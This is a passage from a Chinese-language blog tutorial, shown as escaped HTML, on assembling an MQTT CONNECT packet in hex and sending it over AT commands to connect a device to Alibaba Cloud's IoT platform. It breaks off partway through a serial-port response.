\u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(40 -\u0026gt; 00 28)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"合并,得到最终有效载荷\"\u003e\u003ca href=\"#合并,得到最终有效载荷\" class=\"headerlink\" title=\"合并,得到最终有效载荷\"\u003e\u003c/a\u003e合并,得到最终有效载荷\u003c/h5\u003e\u003cp\u003e根据我们在可变报头中的选择:\u003cstrong\u003e最终有效载荷\u0026#x3D;客户端标识符+用户名+密码\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"得到最终报文\"\u003e\u003ca href=\"#得到最终报文\" class=\"headerlink\" title=\"得到最终报文\"\u003e\u003c/a\u003e得到最终报文\u003c/h4\u003e\u003cp\u003e首先计算固定报头中的剩余长度:\u003cstrong\u003e剩余长度\u0026#x3D;可变报头长度+有效载荷长度\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e可得剩余长度为:10+102\u0026#x3D;112 -\u0026gt; 70。(小于128,所以正常编码)\u003c/p\u003e\u003cp\u003e最终报文:\u003cstrong\u003e固定报头+可变报头+有效载荷\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e70\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e现在可以愉快的与阿里云物联网平台建立连接了~\u003c/p\u003e\u003ch2 id=\"与阿里云物联网平台建立连接\"\u003e\u003ca href=\"#与阿里云物联网平台建立连接\" class=\"headerlink\" title=\"与阿里云物联网平台建立连接\"\u003e\u003c/a\u003e与阿里云物联网平台建立连接\u003c/h2\u003e\u003ch3 id=\"获取连接地址\"\u003e\u003ca href=\"#获取连接地址\" class=\"headerlink\" title=\"获取连接地址\"\u003e\u003c/a\u003e获取连接地址\u003c/h3\u003e\u003cp\u003e直接在阿里云物联网平台的控制台就可以看见,比如我的(瞎编的):\u003ccode\u003eiot-ksf114514.mqtt.iothub.aliyuncs.com\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"建立TCP连接\"\u003e\u003ca href=\"#建立TCP连接\" class=\"headerlink\" title=\"建立TCP连接\"\u003e\u003c/a\u003e建立TCP连接\u003c/h3\u003e\u003cp\u003e使用串口助手发送:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPSTART=\u003cspan class=\"token string\"\u003e\"TCP\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"iot-ksf114514.mqtt.iothub.aliyuncs.com\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1883\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e如果建立连接10s不上报消息,阿里云物联网平台会发送\u003ccode\u003eCLOSED\u003c/code\u003e,并断开连接,这时候需要我们关闭TCP连接然后重新建立连接。\u003c/p\u003e\u003cp\u003e关闭连接:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPCLOSE\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"发送报文\"\u003e\u003ca href=\"#发送报文\" class=\"headerlink\" title=\"发送报文\"\u003e\u003c/a\u003e发送报文\u003c/h3\u003e\u003cp\u003e这里都是在单连接的情况(\u003ccode\u003eAT+CIPMUX=0\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e根据文档,有两种发送方式:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eAT+CIPSEND=\u0026lt;length\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e需要指定发送长度,达到指定长度后自动发送。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eAT+CIPSENDEX=\u0026lt;length\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e指定发送长度,但可以使用字符串 \u003ccode\u003e \\0 (0x5c, 0x30 ASCII)\u003c/code\u003e 触发数据发送。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e选择哪种?从实践来看,因为使用16进制发送CONNECT报文,报文中出现00同样会触发数据发送(emmmm),所以使用第一种指定长度的发送方式,毕竟报文已经提前算好了。\u003c/p\u003e\u003ch4 id=\"设置发送\"\u003e\u003ca href=\"#设置发送\" class=\"headerlink\" title=\"设置发送\"\u003e\u003c/a\u003e设置发送\u003c/h4\u003e\u003cp\u003e最终报文长度:114\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPSEND=\u003cspan class=\"token number\"\u003e114\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送报文-1\"\u003e\u003ca href=\"#发送报文-1\" class=\"headerlink\" title=\"发送报文\"\u003e\u003c/a\u003e发送报文\u003c/h4\u003e\u003cp\u003e注意,这里要使用16进制(就是切换成HEX)进行发送:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e70\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"返回参数\"\u003e\u003ca href=\"#返回参数\" class=\"headerlink\" title=\"返回参数\"\u003e\u003c/a\u003e返回参数\u003c/h3\u003e\u003cp\u003e串口返回数据:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eRx\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.437\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e 0D 0A 2B \u003cspan class=\"token number\"\u003e49\u003c/span\u003e \u003cspan class=\"token number\"\u003e50\u003c/span\u003e \u003cspan class=\"token number\"\u003e44\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e34\u003c/span\u003e 3A \u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e 